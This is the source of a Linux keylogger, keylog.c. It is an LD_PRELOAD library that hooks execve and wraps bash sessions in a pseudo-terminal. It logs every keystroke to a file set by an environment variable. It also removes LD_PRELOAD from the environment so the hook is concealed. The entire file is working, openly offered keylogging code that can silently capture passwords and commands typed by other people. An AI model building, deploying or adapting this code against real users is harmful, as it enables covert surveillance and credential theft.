keylog

keylog.c (5552B)

/* GPLv3 License, see COPYING

 * Idea heavily inspired by: Matias Fontanini (GPLv3)
 * Source: https://github.com/mfontanini/Programs-Scripts/keylogger

 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.

 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.

 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
*/

#define _XOPEN_SOURCE 600 

#include <sys/stat.h>
#include <sys/types.h>
#include <sys/select.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <dlfcn.h>
#include <fcntl.h> 
#include <termios.h>
#include <time.h>
#include <string.h>
#include <stdbool.h>
#include <stdlib.h>
#include <stdarg.h>
#include <stdio.h>

#define RTLD_NEXT ((void *) -1l)

typedef int (*execve_fun)(const char *filename,
	char *const argv[], char *const envp[]);

extern char **environ;

static execve_fun execve_ptr = NULL;
static const char *logfile_path = NULL;
static FILE *logfile = NULL;

/* programs we want to monitor */
static char *target_files[] = { "/bin/bash", "/usr/bin/bash", NULL };

static void
die(const char *fmt, ...)
{
	va_list ap;

	va_start(ap, fmt);
	fputs("keylog: ", stderr);
	vfprintf(stderr, fmt, ap);
	if (*fmt && fmt[strlen(fmt)-1] == ':') {
		fputc(' ', stderr);
		perror(NULL);
	} else {
		fputc('\n', stderr);
	}
	va_end(ap);

	exit(1);
}

static void
metalog(const char *msg, const char *filename)
{
	char timestr[64];
	time_t now;

	now = time(NULL);
	strftime(timestr, sizeof(timestr), "%F %T", localtime(&now));
	fprintf(logfile, "\n\n-- %s (%s) @[%s] -- \n\n",
		msg, filename, timestr);
}

static int
fwd(int readfd, int writefd, bool log)
{
	char buffer[BUFSIZ];
	ssize_t got;
	size_t i, prev;

	do {
		if ((got = read(readfd, buffer, sizeof(buffer))) < 0)
			return 1;

		if (log) {
			for (prev = i = 0; i <= got; i++) {
				if (buffer[i] == '\r' || i == got) {
					fwrite(buffer + prev, 1,
						(size_t) (i - prev), logfile);
					if (i == got - 1)
						fputc('\n', logfile);
					if (i + 1 < got && buffer[i+1] != '\n')
						fputc('\n', logfile);
					prev = i + 1;
				}
			}
			fflush(logfile);
		}

		if (write(writefd, buffer, (size_t) got) != got)
			return 1;
	} while (got == sizeof(buffer));

	return 0;
}

static void
mitm(int fd)
{
	fd_set fds;

	while (1) {
		FD_ZERO(&fds);
		FD_SET(0, &fds);
		FD_SET(fd, &fds);

		if (select(fd + 1, &fds, 0, 0, 0) == -1)
			return;

		if (FD_ISSET(0, &fds)) { /* stdin */
			if (fwd(0, fd, true)) return;
		}

		if (FD_ISSET(fd, &fds)) { /* process */
			if (fwd(fd, 1, false)) return;
		}
	}
}

static void
rawterm(struct termios *term)
{
	term->c_iflag &= ~(0U | IGNBRK | BRKINT | PARMRK | ISTRIP
			| INLCR | IGNCR | ICRNL | IXON);
	term->c_oflag &= ~(0U | OPOST);
	term->c_lflag &= ~(0U | ECHO | ECHONL | ICANON | ISIG | IEXTEN);
	term->c_cflag &= ~(0U | CSIZE | PARENB);
	term->c_cflag |= CS8;
}

int
execve(const char *filename, char *const argv[], char *const envp[]) {
	pid_t pid;
	struct winsize wsize;
	int master_fd;
	char **file;

	/* Lookup the real execve address. */
	if (!execve_ptr) execve_ptr = (execve_fun) dlsym(RTLD_NEXT, "execve");

	/* Check if target program is one we want to keylog */
	for (file = target_files; *file; file++)  {
		if (!strcmp(*file, filename))
			break;
	}

	/* It's not one of the files, just normally call execve. */
	if (!*file) return execve_ptr(filename, argv, envp);

	/* Get the TTY window size. */
	ioctl(0, TIOCGWINSZ, &wsize);

	/* Open a pty master fd. */
	if ((master_fd = posix_openpt(O_RDWR | O_NOCTTY)) == -1)
		return -1;
	if (grantpt(master_fd) == -1 || unlockpt(master_fd) == -1)
		return -1;

	if ((pid = fork()) == -1) return -1;

	if (pid == 0) {
		int slave_fd;

		/* child: create new session and open pty slave fd */
		setsid();
		slave_fd = open(ptsname(master_fd), O_RDWR);
		close(master_fd);

		/* take control of term and setup like master */
		ioctl(slave_fd, TIOCSCTTY, 0);
		ioctl(slave_fd, TIOCSWINSZ, &wsize);
		if (dup2(slave_fd, 0) == -1 || dup2(slave_fd, 1) == -1 || dup2(slave_fd, 2) == -1)
			exit(1);
		close(slave_fd);

		/* call target program */
		execve_ptr(filename, argv, envp);
	} else {
		int status;
		struct termios original, settings;

		/* save settings */
		tcgetattr(0, &original);
		settings = original;

		/* make term not effect output */
		rawterm(&settings);
		tcsetattr(0, TCSANOW, &settings); 
		ioctl(master_fd, TIOCSCTTY);

		logfile = fopen(logfile_path, "a+");
		if (!logfile) die("fopen:");

		metalog("OPEN", filename);
		mitm(master_fd);
		metalog("CLOSE", filename);

		waitpid(pid, &status, 0);
		tcsetattr(0, TCSANOW, &original); 

		fclose(logfile);
		logfile = NULL;

		close(master_fd);
	}

	exit(0);
}

void
__attribute__((constructor))
init(void)
{
	char **iter, **prev;

	/* remove extra env vars from environ */
	for (iter = prev = environ; *iter; iter++) {
		if (!strncmp(*iter, "KEYLOG=", 7)) {
			logfile_path = *iter + 7;
		} else if (strstr(*iter, "LD_PRELOAD=") == *iter) {
			continue;
		} else {
			*prev = *iter;
			prev++;
		}
	}
	*prev = NULL;

	if (!logfile_path) {
		printf("KEYLOG not specified!\n");
		exit(1);
	}
}